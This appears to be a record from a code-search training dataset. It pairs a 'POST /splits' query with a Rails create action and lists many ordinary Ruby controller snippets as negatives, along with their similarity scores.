"def index\n @batches = Batch.all\n respond_to do |format|\n format.html {}\n format.json {\n\n data = Hash.new\n data[\"batches\"] = @batches\n return_success_response(data, \"Request Successful\", 200)\n }\n end\n end",
"def index\n page_number = params[:page] ? params[:page][:number] : 1\n per_page = params[:per_page] ? params[:per_page] : 10\n\n @standings = Standing.paginate(page: page_number, per_page: per_page)\n\n render json: @standings\n end",
"def get_leaderboard\n\t\trender :json=>{:success=>false, :msg=>'Stage not specified.'} and return if (!params.has_key?(:id))\n\t\t\n\t\tstage = Stage.find_by_id(params[:id])\n\t\trender :json=>{:success=>false, :msg=>'Invalid stage.'} and return if (stage.nil?)\n\t\t\n\t\tleaderboard = LeaderboardModule::get_global_stage_leaderboard(params[:id], @scope)\n\t\t\n\t\trender :json=>{:leaderboard=>leaderboard, :stage=>{:name=>stage.name}} and return\n\tend",
"def index\n @pie_piece_transaction_splits = PiePieceTransactionSplit.all\n end",
"def update\n if @split.update(split_params)\n render json: @split\n else\n render json: @split.errors, status: :unprocessable_entity\n end\n end",
"def fetch_job\n JSON.parse(RestClient.get(url).body)\n end",
"def show\n @cluster = Cluster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cluster }\n end\n end",
"def show\n render json: @games_leaderboard\n end",
"def index\n @bet_scores = @match.bet_scores\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bet_scores }\n end\n end",
"def index\n #@parts = Part.find(:all, :order => 'part_number')\n\t@used_parts = UsedPart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @used_parts }\n end\n end",
"def index\n @requests = Request.all\n\n render json: @requests\n end",
"def get_league_standings_by_league(league_id)\n response = parse_api_request(\"#{BASE_URL}standings/#{league_id}\")[\"standings\"]\nend",
"def show\n respond_to do |format|\n format.html { render layout: false }\n format.json do\n batches = Batch.where(item_id: params[:id])\n render json: batches\n end\n end\n end",
"def index\n @plans = Plan.all\n\n render json: @plans\n end",
"def show\n @leaderboard = Leaderboard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leaderboard }\n end\n end",
"def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end",
"def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend",
"def index\n if params[:part_id]\n @materials = Material.find(:all, :conditions => [\"part_id = ?\", params[:part_id]])\n else\n @materials = Material.all\n end\n respond_to do |format|\n format.html\n format.json { render :json => @materials }\n end\n end",
"def index\n\t\t@runs = @current_user.runs\n\n\t\trender json: @runs\n\tend",
"def index\n @strategies = Strategy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @strategies }\n end\n end",
"def show\n @student_cell_leader = StudentCellLeader.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_cell_leader }\n end\n end",
"def show\n @shard = Shard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shard }\n end\n end",
"def new\n @slab = Slab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @slab }\n end\n end",
"def set_split\n @split = Split.find(params[:id])\n end",
"def index\r\n @stats = Stat.all\r\n @statsu = Stat.where(calculation_id: params[:id])\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @stats }\r\n end\r\n end",
"def get_work\n works = batched_get( { id: params[:id] } )\n if works.empty?\n render_json_works_response(:not_found )\n else\n # provide fileset information here\n render_json_works_response(:ok, work_transform(works, INCLUDE_FILESETS ) )\n end\n end",
"def index\n @splitters = Splitter.all\n end",
"def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end",
"def show\n @runner = Runner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @runner }\n end\n end",
"def index\n unless params[:requests] && params[:requests].is_a?(Array)\n render :json => {:error => \"Must pass an array of requests\"}, :status => :bad_request and return\n end\n\n if params[:requests].size > MAX_REQUESTS\n render :json => {:error => \"This batch API accepts a maximum of #{MAX_REQUESTS} requests\"}, :status => :bad_request and return\n end\n\n fetcher = Batchy::Fetcher.new(app: Rails.application, requests: params[:requests]).run\n render :json => {:succeeded => fetcher.succeeded, :failed => fetcher.failed, :responses => fetcher.responses}, :status => :ok\n end",
"def stats_request(modifier, season = nil)\n response = Faraday.get(\"#{URL}/#{id}/stats?stats=#{modifier}&season=#{season}\")\n JSON.parse(response.body)[\"stats\"][0][\"splits\"]\n end",
"def create\n @splitwise = Splitwise.new(splitwise_params)\n\n respond_to do |format|\n if @splitwise.save\n format.html { redirect_to @splitwise, notice: 'Splitwise was successfully created.' }\n format.json { render :show, status: :created, location: @splitwise }\n else\n format.html { render :new }\n format.json { render json: @splitwise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @crawl_request = CrawlRequest.find(params[:id])\n\n render json: @crawl_request\n end",
"def index\n @loadbalancers = getmydata(\"Loadbalancer\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loadbalancers }\n end\n end",
"def index\n @scans = policy_scope(Scan)\n render json: @scans\n end",
"def index\n @blocks = Block.all\n\n render json: @blocks\n end",
"def show\n @leader = Leader.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leader }\n end\n end",
"def show\n @climb = Climb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @climb }\n end\n end",
"def show\n @testing_algorithm = TestingAlgorithm.find(params[:id])\n\n render json : @testing_algorithm\n end",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def index\n @crawl_requests = CrawlRequest.all\n \n render json: @crawl_requests\n end",
"def show\n @scenario = Scenario.find(params[:scenario_id])\n @result = @scenario.results.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @result }\n end\n end",
"def show\n @lab = Lab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab }\n end\n end",
"def show\n render json: @batch\n end",
"def index\n @winning_numbers = WinningNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @winning_numbers }\n end\n end",
"def show\n @run = Run.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @run }\n end\n end",
"def index\n @boxscores = @game.boxscores\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boxscores }\n end\n end",
"def index\n @super_bowl_picks = SuperBowlPick.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @super_bowl_picks }\n end\n end",
"def show\r\n @stages_work = StagesWork.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @stages_work }\r\n end\r\n end",
"def show\n #@bet_score = @match.bet_scores.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bet_score }\n end\n end",
"def show\n @hdfs_path = HdfsPath.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hdfs_path }\n end\n end",
"def show\n @multi_board = MultiBoard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @multi_board }\n end\n end",
"def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end",
"def set_split\n @split = Split.find(params[:id])\n end",
"def show\n @supermarket = Supermarket.find(params[:id])\n respond_to do |format|\n format.json { render json: @supermarket, status: :ok } \n end \n end",
"def index\n @batches = Batch.page(params[:page]).per(15)\n @page = params[:page] || 1\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @batches }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_demand_breakdowns }\n end\n end",
"def index\n @contest = Contest.find_by(path: params[:contest])\n @participant = @contest.participants.find_by(path: params[:participant])\n @submits = @participant.submits\n\n @navpill\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submits }\n end\n end",
"def show\n @worker = Worker.find(params[:id])\n\n render json: @worker\n end",
"def show\n @breakdown = Breakdown.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @breakdown }\n end\n end",
"def index\n @play_segments = PlaySegment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @play_segments }\n end\n end",
"def show\n @mlb_win_bet = MlbWinBet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mlb_win_bet }\n end\n end",
"def get_api_results(_url)\n JSON.parse File.read('spec/inspector/stubbed_example.json')\n end",
"def index\n @plan_milestones = PlanMilestone.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plan_milestones }\n end\n end",
"def get_single_job_sample(client)\n response = client[\"jobs/#{$job_id}\"].get\n\n p ''\n p 'Get single job'\n p response\nend",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def show\n @scraping_algorithm = ScrapingAlgorithm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @scraping_algorithm }\n end\n end",
"def show\n @leader_history = LeaderHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leader_history }\n end\n end",
"def get_stages\n\t\trender :json=>{:success=>false, :msg=>'Missing race ID'} and return if (!params.has_key?(:id))\n\t\t\n\t\trace = Race.find_by_id(params[:id])\n\t\trender :json=>{:success=>false, :msg=>'Invalid race ID'} and return if (race.nil?)\n\t\t\n\t\tdata = []\n\t\tstages = Stage.where({:race_id=>race.id, :status=>STATUS[:ACTIVE]})\n\t\tstages.each do |stage|\n\t\t\tdata.push({\n\t\t\t\t:id => stage.id,\n\t\t\t\t:name => stage.name\n\t\t\t})\n\t\tend\n\t\t\n\t\trender :json=>{:success=>true, :data=>data}\n\tend",
"def index\n @parts = Part.where(job_id: params[:job_id])\n @job_id = params[:job_id]\n end",
"def show_rounds\n\t\t@rounds = @participant.rounds\n\t\trender json: @rounds\n\tend",
"def index\n @builds = Build.all\n render json: @builds\n end",
"def networks\n id = params[:_id]\n fetch_plans(id)\n networks = @networks_by_plan[id]\n network_list = networks.map do |entry|\n {\n value: entry.reference,\n name: entry.display\n }\n end\n render json: network_list\nend",
"def handle_get\n make_response(200, obtain_scores)\nend",
"def get_splits(ticker, args = {})\n if args.is_a? Hash\n start_date = args[:start_date] if args[:start_date]\n start_date ||= args[:s] if args[:s]\n\n end_date = args[:end_date] if args[:end_date]\n end_date ||= args[:e] if args[:e]\n\n period = args[:period] if args[:period]\n period ||= args[:p] if args[:p]\n end\n\n csv = @yahoo_client.get_csv(ticker, start_date, end_date, period, 'splits')\n create_splits_from_csv(csv)\n end",
"def show\n @lab_name = LabName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_name }\n end\n end",
"def index\n @batches = Batch.all\n @batches.each do |batch|\n authorize! :read, batch\n end\n render json: @batches\n end",
"def index\n @segment_names = SegmentName.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @segment_names }\n end\n end",
"def index\n json_response(@board.lists)\n end",
"def index\n streaks = Streak.active.all\n render_jsonapi(streaks)\n end",
"def index\n @clusters = []\n @project = Project.where(:key => params[:project_key]).first\n\n get_cluster_data() \n render :partial => 'index'\n end",
"def create\n @item_split = ItemSplit.new(item_split_params)\n\n respond_to do |format|\n if @item_split.save\n format.html { redirect_to @item_split, notice: 'Item split was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_split }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def all_works\n #start = numeric( params[:start], DEFAULT_START )\n #limit = numeric( params[:limit], DEFAULT_LIMIT )\n\n works = batched_get( {} )\n respond_to do |format|\n format.json do\n if works.empty?\n render_json_works_response(:not_found )\n else\n # dont provide fileset information here, it takes too long and we just want work information\n render_json_works_response(:ok, work_transform( works, EXCLUDE_FILESETS ) )\n end\n end\n format.csv do\n # provide fileset information here because this is used for work export\n render_csv_works_response( work_transform( works, INCLUDE_FILESETS ) )\n end\n end\n\n end",
"def index\n skickers = Skicker.order(power: :asc)\n render json: { status: 'SUCCESS', message: 'Loaded skickers', value: skickers }\n end",
"def show\n @ranking = Ranking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ranking }\n end\n end",
"def new\n @cluster = Cluster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cluster }\n end\n end"
] |
[
"0.6277736",
"0.5932151",
"0.571351",
"0.56335145",
"0.5578401",
"0.5578401",
"0.5385288",
"0.53787893",
"0.522895",
"0.52123296",
"0.5203745",
"0.5195336",
"0.5191753",
"0.5190951",
"0.5186052",
"0.5134054",
"0.5131104",
"0.5129085",
"0.50873876",
"0.50696653",
"0.5061728",
"0.50590885",
"0.50588137",
"0.5054918",
"0.50373703",
"0.50174195",
"0.5013615",
"0.50066686",
"0.4997862",
"0.4991845",
"0.4968923",
"0.49680316",
"0.4962604",
"0.49423188",
"0.4941428",
"0.49345076",
"0.49314678",
"0.49309397",
"0.49216253",
"0.49200505",
"0.492004",
"0.49193165",
"0.4918043",
"0.49170643",
"0.49167573",
"0.4909972",
"0.4909597",
"0.48977304",
"0.4896258",
"0.48958933",
"0.48839027",
"0.48801264",
"0.4863738",
"0.48616797",
"0.48541123",
"0.48398545",
"0.48374596",
"0.4837302",
"0.4831904",
"0.48307988",
"0.48300353",
"0.48286298",
"0.48254573",
"0.48212886",
"0.4820833",
"0.48162845",
"0.48160702",
"0.48143435",
"0.48131058",
"0.481037",
"0.48018146",
"0.47989044",
"0.47976258",
"0.47926715",
"0.4786656",
"0.47846544",
"0.47843838",
"0.4781223",
"0.47780925",
"0.47775507",
"0.47757342",
"0.47737464",
"0.47713843",
"0.47702822",
"0.4769429",
"0.47691098",
"0.4766774",
"0.47642902",
"0.47622955",
"0.4761849",
"0.47600955",
"0.47593677",
"0.47571704",
"0.4755218",
"0.47545993",
"0.47539327",
"0.47534934",
"0.47532937",
"0.47521922",
"0.47503603",
"0.47444165"
] |
0.0
|
-1
|
POST /splits POST /splits.json
|
def create
@split = Split.new(split_params)
respond_to do |format|
if @split.save
format.html { redirect_to @split, notice: 'Split was successfully created.' }
format.json { render :show, status: :created, location: @split }
else
format.html { render :new }
format.json { render json: @split.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @test_split = TestSplit.new(test_split_params)\n\n respond_to do |format|\n if @test_split.save\n format.html { redirect_to @test_split, notice: 'Test split was successfully created.' }\n format.json { render :show, status: :created, location: @test_split }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @test_split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @splitwise = Splitwise.new(splitwise_params)\n\n respond_to do |format|\n if @splitwise.save\n format.html { redirect_to @splitwise, notice: 'Splitwise was successfully created.' }\n format.json { render :show, status: :created, location: @splitwise }\n else\n format.html { render :new }\n format.json { render json: @splitwise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_split = ItemSplit.new(item_split_params)\n\n respond_to do |format|\n if @item_split.save\n format.html { redirect_to @item_split, notice: 'Item split was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_split }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @split = Split.new(params[:split])\n\n respond_to do |format|\n if @split.save\n format.html { redirect_to(@split, :notice => 'Split was successfully created.') }\n format.xml { render :xml => @split, :status => :created, :location => @split }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @split.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def split_params\n params.require(:split).permit(:availability_id, :user_id, :approved, :cancelled)\n end",
"def create\n @splitter = Splitter.new(splitter_params)\n\n respond_to do |format|\n if @splitter.save\n format.html { redirect_to @splitter, notice: 'Splitter was successfully created.' }\n format.json { render :show, status: :created, location: @splitter }\n else\n format.html { render :new }\n format.json { render json: @splitter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @split.update(split_params)\n render json: @split\n else\n render json: @split.errors, status: :unprocessable_entity\n end\n end",
"def test_split_params\n params.require(:test_split).permit(:sub_component_id, :name, :split_id)\n end",
"def inventory_cages_split_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CagesApi.inventory_cages_split_post ...'\n end\n # resource path\n local_var_path = '/inventory/cages/split'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'cage_splits_inner'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CageList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CagesApi#inventory_cages_split_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @pie_piece_transaction_split = PiePieceTransactionSplit.new(pie_piece_transaction_split_params)\n\n respond_to do |format|\n if @pie_piece_transaction_split.save\n format.html { redirect_to @pie_piece_transaction_split, notice: 'Pie piece transaction split was successfully created.' }\n format.json { render :show, status: :created, location: @pie_piece_transaction_split }\n else\n format.html { render :new }\n format.json { render json: @pie_piece_transaction_split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_split_params\n params.require(:item_split).permit(:ordered_items_id, :customer_id, :percentage, :details)\n end",
"def index\n @splits = Split.all\n end",
"def create\n @bathroom = Bathroom.new(bathroom_params.except(:stalls))\n num_stalls = bathroom_params[:stalls].to_i\n\n respond_to do |format|\n if @bathroom.save\n (0..(num_stalls - 1)).each do |i|\n Stall.new({ bathroom_id: @bathroom.id, state: false, number: @bathroom.stalls.count }).save\n end\n format.html { redirect_to @bathroom, notice: 'Bathroom was successfully created.' }\n format.json { render :show, status: :created, location: @bathroom }\n else\n format.html { render :new }\n format.json { render json: @bathroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def stock_splits_with_http_info(symbol, from, to, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.stock_splits ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling DefaultApi.stock_splits\"\n end\n # verify the required parameter 'from' is set\n if @api_client.config.client_side_validation && from.nil?\n fail ArgumentError, \"Missing the required parameter 'from' when calling DefaultApi.stock_splits\"\n end\n # verify the required parameter 'to' is set\n if @api_client.config.client_side_validation && to.nil?\n fail ArgumentError, \"Missing the required parameter 'to' when calling DefaultApi.stock_splits\"\n end\n # resource path\n local_var_path = '/stock/split'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'symbol'] = symbol\n query_params[:'from'] = from\n query_params[:'to'] = to\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Split>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#stock_splits\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_split\n @split = Split.find(params[:id])\n end",
"def inventory_cages_split_post(opts = {})\n data, _status_code, _headers = inventory_cages_split_post_with_http_info(opts)\n data\n end",
"def index\n @test_splits = TestSplit.all\n end",
"def create\n @batch = Batch.new(batch_params)\n team_member_ids = params[:team_member_ids]\n\n\n respond_to do |format|\n if @batch.save\n format.html { redirect_to @batch, notice: 'Batch was successfully created.' }\n format.json { render :show, status: :created, location: @batch }\n else\n format.html { render :new }\n format.json { render json: @batch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_test_split\n @test_split = TestSplit.find(params[:id])\n end",
"def set_split\n @split = Split.find(params[:id])\n end",
"def leaderboard\n result = service.save(params.permit!.to_h[:leaderboard])\n render json: {success: true}\n end",
"def pie_piece_transaction_split_params\n params.require(:pie_piece_transaction_split).permit(:pie_id, :pie_piece_id, :transaction_split_id)\n end",
"def splitwise_params\n params[:splitwise][:created_by] = current_user.id\n params[:splitwise][:purchased_by] ||= current_user.id\n params.require(:splitwise).permit(:quantity, :price, :remaining_quantity,\n :purchased_at, :created_by, :item_name, :description, :purchased_by,\n :subscription_id)\n end",
"def index\n @item_splits = ItemSplit.all\n end",
"def expense_split_params\n params.require(:expense_split).permit(:user_id, :expense_id, :amount_owe, :amount_pay, :completed)\n end",
"def create\n @bones_segment = BonesSegment.new(bones_segment_params)\n\n respond_to do |format|\n if @bones_segment.save\n format.html { redirect_to @bones_segment, notice: 'Bones segment was successfully created.' }\n format.json { render :show, status: :created, location: @bones_segment }\n else\n format.html { render :new }\n format.json { render json: @bones_segment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @span = Span.new(span_params)\n\n respond_to do |format|\n if @span.save\n format.html { redirect_to @span, notice: 'Span was successfully created.' }\n format.json { render :show, status: :created, location: @span }\n else\n format.html { render :new }\n format.json { render json: @span.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @split.update(split_params)\n format.html { redirect_to @split, notice: 'Split was successfully updated.' }\n format.json { render :show, status: :ok, location: @split }\n else\n format.html { render :edit }\n format.json { render json: @split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(bin_params)\n @rest.post('save', bin_params)\n end",
"def create\n @student_cell_leader = StudentCellLeader.new(params[:student_cell_leader])\n\n respond_to do |format|\n if @student_cell_leader.save\n format.html { redirect_to @student_cell_leader, notice: 'Student cell leader was successfully created.' }\n format.json { render json: @student_cell_leader, status: :created, location: @student_cell_leader }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_cell_leader.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @blank_wall = BlankWall.new(blank_wall_params)\n budget_range = blank_wall_params[:budget_range].split(\",\")\n @blank_wall.min_budget = budget_range[0]\n @blank_wall.max_budget = budget_range[1]\n respond_to do |format|\n if @blank_wall.save\n format.html { redirect_to @blank_wall, notice: 'Blank wall was successfully created.' }\n format.json { render :show, status: :created, location: @blank_wall }\n else\n format.html { render :new }\n format.json { render json: @blank_wall.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end",
"def create\n @league = League.new(league_params)\n\n respond_to do |format|\n if @league.save\n\n (0..(@league.size-1)).each_with_index do |i|\n fantasy_team = @league.fantasy_teams.create(owner: \"Team #{i+1}\", pick_number: i+1)\n picks = []\n\n (1..@league.roster_size).each do |round|\n offset = round % 2 == 1 ? i + 1: @league.size - i\n pick = (round-1)*@league.size + offset\n @league.draft_picks.create(number: pick, fantasy_team: fantasy_team)\n end\n\n puts \"Team #{i} gets picks #{fantasy_team.draft_picks.map(&:number)}\\n\"\n end\n\n format.html { redirect_to @league, notice: 'League was successfully created.' }\n format.json { render :show, status: :created, location: @league }\n else\n format.html { render :new }\n format.json { render json: @league.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def create\n @games_leaderboard = Games::Leaderboard.new(games_leaderboard_params)\n\n if @games_leaderboard.save\n render json: @games_leaderboard, status: :created, location: @games_leaderboard\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @split.destroy\n respond_to do |format|\n format.html { redirect_to splits_url, notice: 'Split was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n\n reviews = []\n params[:scores].keys.each{ |name|\n score = params[:scores][name]\n peer_review = PeerReview.new(name:name, score:score, miniproject_id:params[:project][:id])\n peer_review.save\n reviews << peer_review\n }\n\n render json: reviews\n\n end",
"def new\n id = params[:format]\n line = \"https://gtcollab.herokuapp.com/api/groups/\" + id + \"/join/\"\n \n #puts line\n #puts $token\n\n require \"net/http\"\n require \"uri\"\n\n parsed_url = URI.parse(line)\n\n http = Net::HTTP.new(parsed_url.host, parsed_url.port)\n http.use_ssl = true\n\n req = Net::HTTP::Post.new(parsed_url.request_uri)\n\n req.add_field(\"authorization\", $token)\n\n response = http.request(req)\n response.inspect\n\n #puts response.body\n redirect_to courses_path\n end",
"def update\n respond_to do |format|\n if @test_split.update(test_split_params)\n format.html { redirect_to @test_split, notice: 'Test split was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_split }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @test_split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @board = Board.where(game_id: 47).first\n puts \"here\"\n @move = Move.new(move_params)\n puts @move\n puts params[:move][:squares]\n puts \"after\"\n\n #@move.squares = []\n #@move.squares.push(params[:move][:squares].split(','))\n\n\n puts @move.squares\n @move.created_at = Date.new\n @move.piece_id = 9\n puts @move.inspect\n\n\n\n puts \"after build\"\n puts @board.moves\n\n #respond_to do |format|\n if @board.moves.create(move_params)\n render json: @board.moves\n #flash[:notice] = 'Move was successfully created.'\n\n else\n format.html { render :new }\n format.json { render json: @move.errors, status: :unprocessable_entity }\n end\n #end\n end",
"def entry_params\n params.require(:entry).permit(:numb, :post_date, :description, :fit_id, :book_id,\n splits_attributes: [:id,:action,:memo,:amount,:reconcile_state,:account_id,:debit,:credit,:_destroy])\n end",
"def new\n @split = Split.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @split }\n end\n end",
"def subset_params\n params.require(:subset).permit(:swimset_id, :distance, :stroke_id, :varience_id, :comment)\n end",
"def create\n @subset = Subset.new(subset_params)\n\n respond_to do |format|\n if @subset.save\n format.html { redirect_to @subset, notice: 'Subset was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subset }\n else\n format.html { render action: 'new' }\n format.json { render json: @subset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bill = Bill.find(params[:bill_id])\n @breakdown = @bill.breakdowns.build(params[:breakdown])\n @breakdown.save\n\n redirect_to @bill\n\n #respond_to do |format|\n #if @breakdown.save\n #format.html { redirect_to @breakdown, notice: 'Breakdown was successfully created.' }\n #format.json { render json: @breakdown, status: :created, location: @breakdown }\n #else\n #format.html { render action: \"new\" }\n #format.json { render json: @breakdown.errors, status: :unprocessable_entity }\n #end\n #end\n end",
"def destroy\n @split = Split.find(params[:id])\n @split.destroy\n\n respond_to do |format|\n format.html { redirect_to(splits_url) }\n format.xml { head :ok }\n end\n end",
"def create\n @spawner = Spawner.new(spawner_params)\n @fieldtrips = Fieldtrip.all\n\n respond_to do |format|\n if @spawner.save\n format.html { redirect_to @spawner, notice: 'Spawner was successfully created.' }\n format.json { render json: @spawner, status: :created, location: @spawner }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spawner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @separation = Separation.new(separation_params)\n\n respond_to do |format|\n if @separation.save\n format.html { redirect_to @separation, notice: 'Separation was successfully created.' }\n format.json { render :show, status: :created, location: @separation }\n else\n format.html { render :new }\n format.json { render json: @separation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @test_split.destroy\n respond_to do |format|\n format.html { redirect_to test_splits_url, notice: 'Test split was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @slab = Slab.new(params[:slab])\n\n respond_to do |format|\n if @slab.save\n format.html { redirect_to @slab, :notice => 'Slab was successfully created.' }\n format.json { render :json => @slab, :status => :created, :location => @slab }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @slab.errors, :status => :unprocessable_entity }\n end\n end\n end",
